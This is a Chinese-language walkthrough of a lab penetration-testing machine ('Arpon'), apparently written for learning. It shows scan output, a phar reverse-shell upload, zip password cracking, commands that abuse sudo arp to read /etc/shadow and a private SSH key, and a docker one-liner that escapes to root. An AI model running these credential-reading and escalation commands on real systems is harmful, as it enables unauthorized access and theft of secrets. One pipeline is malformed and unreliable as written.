# 靶场搭建

下载:Arpon

Nat,IP: 192.168.1.142

# 渗透过程

# 信息初收集

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 e1:85:8b:7b:6d:a2:6b:1a:ed:18:8e:08:a0:90:87:2a (ECDSA)
|_  256 ad:fe:77:78:a0:57:70:cc:33:68:b5:84:26:a3:b3:63 (ED25519)
80/tcp open  http    Apache httpd 2.4.59 ((Debian))
|_http-title: Essex
|_http-server-header: Apache/2.4.59 (Debian)
[20:48:35] 301 -  315B  - /backup  ->  http://192.168.1.142/backup/         
[20:48:35] 200 -  256B  - /backup/                                          
[20:48:51] 200 -   21KB - /index.php                                        
[20:48:51] 200 -   21KB - /index.php/login/   

---- Entering directory: http://192.168.1.142/backup/ ----
==> DIRECTORY: http://192.168.1.142/backup/empty/                                                  
+ http://192.168.1.142/backup/index.html (CODE:200|SIZE:421)                                       
                                                                                                   
---- Entering directory: http://192.168.1.142/imagenes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                   
---- Entering directory: http://192.168.1.142/backup/empty/ ----
+ http://192.168.1.142/backup/empty/index.html (CODE:200|SIZE:1) 

backup 是一个上传点,FUZZ 一下 php 后缀。phar 是 OK 的,传一个 phar 格式的反弹 shell

弹到 shell 之后就狂翻,找到了在 /var/www/html/backup/empty/.hidden 下的 zip,传回 kali 进行 hash 破解。

拿到密码: swordfish

$ cat /etc/passwd | grep -e /bin/bash -e /bin/sh
root:x:0:0:root:/root:/bin/bash
calabrote:x:1001:1001::/home/calabrote:/bin/sh
foque:x:1002:1002::/home/foque:/bin/sh

用私钥尝试登录 calabrotefoque 账号

calabrote 登上去了

# 提权

sudo -l 发现有 arp 权限,sudo 读文件 arp -v -f "/etc/shadow"

拿到了 shadow,可以进行爆破不过没破出来

读 id_rsa: sudo arp -v -f "/home/foque/.ssh/id_rsa_foque_script"

保存成 id_rsa ,在做一次处理

┌──(root㉿kali)-[~/Downloads]
└─# cat id_rsa | grep -v "^arp" | sed 's/^>> //' | sed 2d | > id

这样 id 就是密钥了,拿来登录吧

拿到 shell 之后,通过 docker 进行提权,因为 docker 是 root 运行的: docker run -v /:/mnt --rm -it alpine chroot /mnt sh

拿到 root 权限

# 小结

在 Docker 容器中以 Alpine 镜像为基础运行一个交互式的 shell 环境,并且将主机的根目录挂载到容器中的 /mnt 目录。让我逐步解释一下每个部分的含义:

  • docker run : 这是 Docker 命令,用于创建并运行一个新的容器。
  • -v /:/mnt : 这是一个参数,用于将主机的根目录 / 挂载到容器中的 /mnt 目录。这样,在容器中对 /mnt 的操作实际上是对主机根目录的操作。
  • --rm : 这也是一个参数,表示在容器退出后自动删除容器。这样可以确保容器在退出后不会残留在系统中。
  • -it : 这是两个参数的组合,用于分配一个交互式的终端,并将终端的输入输出与容器中的 shell 关联起来。
  • alpine : 这是要运行的容器镜像的名称,这里使用的是 Alpine Linux 镜像,它是一个轻量级的 Linux 发行版。
  • chroot /mnt sh : 这是在容器中运行的命令。 chroot 命令用于将当前进程的根目录切换到指定的目录,这里切换到了容器中的 /mnt 目录。然后, sh 是在容器中启动的交互式 shell 环境。